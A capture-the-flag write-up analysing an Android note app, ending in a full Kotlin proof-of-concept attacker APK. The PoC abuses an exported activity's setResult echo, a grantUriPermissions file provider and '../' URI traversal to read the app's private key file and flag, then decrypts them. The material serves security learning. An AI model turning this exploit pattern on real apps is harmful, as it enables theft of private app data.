Description

I asked for the challenge from other people so I have no idea what the description is. All I know is this challenge required me to upload my malicious APK into the server SecureNote.apk

Static Analysis

I started out using jadx-gui to decompile and read the code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<activity
    android:name="com.app.rehack.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>
<activity
    android:name="com.app.rehack.NoteListActivity"
    android:exported="true"/>
<activity
    android:name="com.app.rehack.AddNoteActivity"
    android:exported="true"/>
<activity
    android:name="com.app.rehack.ViewNoteActivity"
    android:exported="false"/>
<provider
    android:name="com.app.rehack.Utils.FileProvider"
    android:writePermission="false"
    android:enabled="true"
    android:exported="false"
    android:authorities="com.app.rehack"
    android:grantUriPermissions="true">
    <meta-data
        android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/provider_path"/>
</provider>

Based on the AndroidManifest.xml, there’s 4 activities in total but only one activity is not exported. Aside of that, there’s a provider with grantUriPermissions="true". Based on previous challenge, this is actually vulnerable so I assume exploit path should be similar. The provider has a @xml/provider_path which provide the folder path of the file provider.

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
    <files-path
        name="files"
        path="."/>
</paths>

Based on this, the file provider should be something like content://com.app.rehack/files/file.txt". Moving on, I decided to check for each activity to find potential vulnerable code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(R.layout.activity_add_note);
    final Intent intent = getIntent();
    int intExtra = intent.getIntExtra("total_notes", 0);
    this.editTextNoteName = (EditText) findViewById(R.id.editTextNoteName);
    this.editTextNoteContent = (EditText) findViewById(R.id.editTextNoteContent);
    TextView textView = (TextView) findViewById(R.id.noteCount);
    this.noteTextView = textView;
    textView.setText("Total Notes: " + intExtra);
    this.latestNoteTextView = (TextView) findViewById(R.id.latestNote);
    Button button = (Button) findViewById(R.id.buttonSaveNote);
    this.buttonSaveNote = button;
    button.setOnClickListener(new View.OnClickListener() { // from class: com.app.rehack.AddNoteActivity$$ExternalSyntheticLambda0
        @Override // android.view.View.OnClickListener
        public final void onClick(View view) {
            AddNoteActivity.this.m68lambda$onCreate$0$comapprehackAddNoteActivity(intent, view);
        }
    });
    int latestNote = getLatestNote(intExtra);
    if (latestNote == -1) {
        intent.putExtra("error", "READ_LIST_ERROR");
        setResult(-1, intent);
        finish();
    } else {
        if (latestNote != 0 || intExtra >= 0) {
            return;
        }
        this.latestNoteTextView.setText("No notes available");
    }
}

In AddNoteActivity activity, there’s this vulnerable code setResult(-1,intent) which is what I am looking for. To trigger it, I will need to make the latestNote to -1. It is getting information from getIntExtra("total_notes", 0); so I will need to add that into my intent.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
package com.app.rehack.Utils;

/* loaded from: classes.dex */
public class FileEncryptor {
    public static native int encrypt(byte[] bArr, byte[] bArr2, byte[] bArr3, byte[] bArr4);

    static {
        System.loadLibrary("rehack");
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
package com.app.rehack.Utils;

/* loaded from: classes.dex */
public class FileDecryptor {
    public static native int decrypt(byte[] bArr, byte[] bArr2, byte[] bArr3, byte[] bArr4);

    static {
        System.loadLibrary("rehack");
    }
}

Aside of that, I also found 2 native functions that load native library rehack. This should be something important as it is used somewhere in the AddNoteActivity and ViewNoteActivity.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 File file2 = new File(getFilesDir(), stringExtra + ".txt");
FileInputStream fileInputStream = new FileInputStream(file2);
byte[] bArr = new byte[(int) file2.length()];
byte[] bArr2 = new byte[(int) file2.length()];
fileInputStream.read(bArr);
fileInputStream.close();
Creds creds = Creds.CredsUtil.getCreds(this);
int decrypt = FileDecryptor.decrypt(bArr, creds.key.getBytes(), creds.iv.getBytes(), bArr2);
String str = new String(bArr2, 0, decrypt, StandardCharsets.UTF_8);
if (decrypt >= 0 && NoteEntry.NoteEntryUtil.isPrintable(str)) {
    this.noteTextView.setText(new String(bArr2));
    return;
}

Based on this partial code from ViewNoteActiviy, it use the decrypt native function and it provides information like creds.key.getBytes() and creds.iv.getBytes() which I assume is AES since AES required this two information. I then look into the Creds.CredsUtil.getCreds(this) function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public class Creds {
    public String iv;
    public String key;

    public static class CredsUtil {
        public static Creds getCreds(Context context) {
            File file = new File(context.getFilesDir(), ".env");
            if (!file.exists()) {
                try {
                    file.createNewFile();
                    FileOutputStream openFileOutput = context.openFileOutput(".env", 0);
                    openFileOutput.write(("<credsConfigRoot><key>" + generateRandomString(16) + "</key><iv>" + generateRandomString(16) + "</iv></credsConfigRoot>").getBytes());
                    openFileOutput.close();
                } catch (Exception e) {
                    Toast.makeText(context, "Error creating .env file", 0).show();
                    e.printStackTrace();
                    return null;
                }
            }
            XStream xStream = new XStream();
            xStream.alias("credsConfigRoot", Creds.class);
            xStream.allowTypes(new Class[]{Creds.class});
            xStream.aliasField("key", Creds.class, "key");
            xStream.aliasField("iv", Creds.class, "iv");
            return (Creds) xStream.fromXML(file);
        }

        public static String generateRandomString(int i) {
            StringBuilder sb = new StringBuilder(i);
            Random random = new Random();
            for (int i2 = 0; i2 < i; i2++) {
                sb.append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(random.nextInt("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".length())));
            }
            return sb.toString();
        }
    }
}

Based on the code in Creds, it basically generating random key and iv which means that both the key and iv are dynamic and I will need to extract it manually to decrypt the encrypted content. I then proceed to perform dynamic analysis to understand more on the application.

Dynamic Analysis

When I run the application at first, it will have some issue the mentioned READ_LIST_ERROR.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(R.layout.activity_add_note);
    final Intent intent = getIntent();
    int intExtra = intent.getIntExtra("total_notes", 0);
    this.editTextNoteName = (EditText) findViewById(R.id.editTextNoteName);
    this.editTextNoteContent = (EditText) findViewById(R.id.editTextNoteContent);
    TextView textView = (TextView) findViewById(R.id.noteCount);
    this.noteTextView = textView;
    textView.setText("Total Notes: " + intExtra);
    this.latestNoteTextView = (TextView) findViewById(R.id.latestNote);
    Button button = (Button) findViewById(R.id.buttonSaveNote);
    this.buttonSaveNote = button;
    button.setOnClickListener(new View.OnClickListener() { // from class: com.app.rehack.AddNoteActivity$$ExternalSyntheticLambda0
        @Override // android.view.View.OnClickListener
        public final void onClick(View view) {
            AddNoteActivity.this.m68lambda$onCreate$0$comapprehackAddNoteActivity(intent, view);
        }
    });
    int latestNote = getLatestNote(intExtra);
    if (latestNote == -1) {
        intent.putExtra("error", "READ_LIST_ERROR");
        setResult(-1, intent);
        finish();
    } else {
        if (latestNote != 0 || intExtra >= 0) {
            return;
        }
        this.latestNoteTextView.setText("No notes available");
    }
}

The error was from this code. After exploring into the details, I noticed that the app did not create list.xml on itself. I then proceed to create my own list.xml to understand more. After going through the code, I created a sample list.xml to make the application work properly.

1
2
3
4
5
6
<notes>
    <note>
        <name>test</name>
        <file>test.txt</file>
    </note>
</notes>

After adding this into /data/data/com.app.rehack/files/list.xml with correct permission, everything seems to be working now.

alt text

Well, I then tried to add a note and see what will happen. After adding it, I look into the directory.

1
2
3
4
beryllium:/data/data/com.app.rehack/files # ls -la
total 32
-rw-rw---- 1 u0_a256 u0_a256   87 2025-06-30 23:57 .env
-rw-rw---- 1 u0_a256 u0_a256   16 2025-06-30 23:57 1.txt
1
2
3
4
5
6
<notes>
  <note>
    <file>1.txt</file>
    <name>1</name>
  </note>
</notes>
1
2
beryllium:/data/data/com.app.rehack/files # cat 1.txt
=G�ꋴ��D�>A0�82
1
2
beryllium:/data/data/com.app.rehack/files # cat .env
<credsConfigRoot><key>1Z7g6WMDc1IpP7gZ</key><iv>78UWIdnw57sJpF7D</iv></credsConfigRoot>

Based on these information, I can easily understand that it is performing some kind of encryption which should be AES according to previous assumption. I then tried to decrypt it manually to see if its possible.

After trying using CyberChef, it is possible to decrypt the text in the file using AES decryption. Now that I kind of understand everything, I will just need to extract the .env file and potential flag file (which I have no idea so i created my own fake flag). I then try my own malicious APK to interact with the challenge APK and extract the information.

Full POC Code

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
package io.ks.testingpoc

import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.util.Log
import androidx.activity.ComponentActivity
import androidx.activity.compose.rememberLauncherForActivityResult
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.activity.result.ActivityResult
import androidx.activity.result.contract.ActivityResultContracts
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.foundation.layout.padding
import androidx.compose.material3.Scaffold
import androidx.compose.material3.Text
import androidx.compose.runtime.LaunchedEffect
import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.remember
import androidx.compose.ui.Modifier
import io.ks.testingpoc.ui.theme.TestingPocTheme
import javax.crypto.Cipher
import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.SecretKeySpec
import javax.xml.parsers.DocumentBuilderFactory

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()
        setContent {
            TestingPocTheme {
                Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
                    val env1 = remember { mutableStateOf<String?>(null) }
                    val flag = remember { mutableStateOf<ByteArray?>(null) }

                    val startForResult = rememberLauncherForActivityResult(
                        contract = ActivityResultContracts.StartActivityForResult()
                    ) { result: ActivityResult ->
                        val uri = result.data?.data
                        Log.d("IntentDump", "Received result: $result")
                        Log.d("IntentDump", "URI: $uri")

                        uri?.let {
                            try {
                                val content = contentResolver.openInputStream(it)?.use { input ->
                                    input.bufferedReader().readText()
                                }
                                env1.value = content
                            } catch (e: Exception) {
                                Log.e("IntentDump", "Error reading file", e)
                                env1.value = "Error reading .env content"
                            }
                        }
                    }

                    val startForResult2 = rememberLauncherForActivityResult(
                        contract = ActivityResultContracts.StartActivityForResult()
                    ) { result: ActivityResult ->
                        val uri = result.data?.data
                        Log.d("IntentDump", "Received result: $result")
                        Log.d("IntentDump", "URI: $uri")

                        uri?.let {
                            try {
                                val content = contentResolver.openInputStream(it)?.use { input ->
                                    input.readBytes()
                                }
                                flag.value = content
                            } catch (e: Exception) {
                                Log.e("IntentDump", "Error reading file", e)
                            }
                        }
                    }

                    LaunchedEffect(Unit) {
                        val intent = Intent().apply {
                            setClassName(
                                "com.app.rehack",
                                "com.app.rehack.AddNoteActivity"
                            )
                            setData(Uri.parse("content://com.app.rehack/../.env"))
                            putExtra("total_notes", -1)
                            flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
                        }

                        startForResult.launch(intent)

                        val intent2 = Intent().apply {
                            setClassName(
                                "com.app.rehack",
                                "com.app.rehack.AddNoteActivity"
                            )
                            setData(Uri.parse("content://com.app.rehack/../flag.txt"))
                            putExtra("total_notes", -1)
                            flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
                        }

                        startForResult2.launch(intent2)
                    }

                    Column(modifier = Modifier.padding(innerPadding)) {
                        Text(text = "Android")
                        Text(text = "env content: ${env1.value ?: "Loading..."}")
                        Text(text = "flag content: ${flag.value ?: "Loading..."}")
                        env1.value?.let { xml ->
                            flag.value?.let { text ->
                                val (key, iv) = extractKeyIv(xml)
                                val decryptedText = aesDecryptRawInput(text, key, iv)
                                Text("final flag: $decryptedText")
                            }
                        }
                    }
                }
            }
        }
    }
}

fun extractKeyIv(xml: String): Pair<String, String> {
    val doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(xml.byteInputStream())
    val root = doc.documentElement
    val key = root.getElementsByTagName("key").item(0).textContent.trim()
    val iv  = root.getElementsByTagName("iv").item(0).textContent.trim()
    return key to iv
}

fun aesDecryptRawInput(ciphertext: ByteArray, key: String, iv: String): String {
    val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
    val secretKey = SecretKeySpec(key.toByteArray(Charsets.UTF_8), "AES")
    val ivSpec = IvParameterSpec(iv.toByteArray(Charsets.UTF_8))
    cipher.init(Cipher.DECRYPT_MODE, secretKey, ivSpec)

    val decryptedBytes = cipher.doFinal(ciphertext)
    return String(decryptedBytes, Charsets.UTF_8)
}

According to the code, the first thing that it will does it sending intent. In this case, it sent 2 intent to received both the .env file and and the flag.txt file. The intent purposely include putExtra("total_notes", -1) to trigger setResult(-1, intent); from AddNoteActivity. It will then received the information in the startForResult and startForResult2. The information will then set into the variable. After everything is done, it will then use the extractKeyIv to get the key and iv from the env variable and aesDecryptRawInput to retrieve the flag.

alt text

Since I could not access the challenge server, I could not get the real flag but I’m assuming it is something like this.

Things I learned from this challenge

  • vulnerable code setResult(-1, intent); combining with android:grantUriPermissions="true" provider
  • creating attacker POC APK
  • AES decryption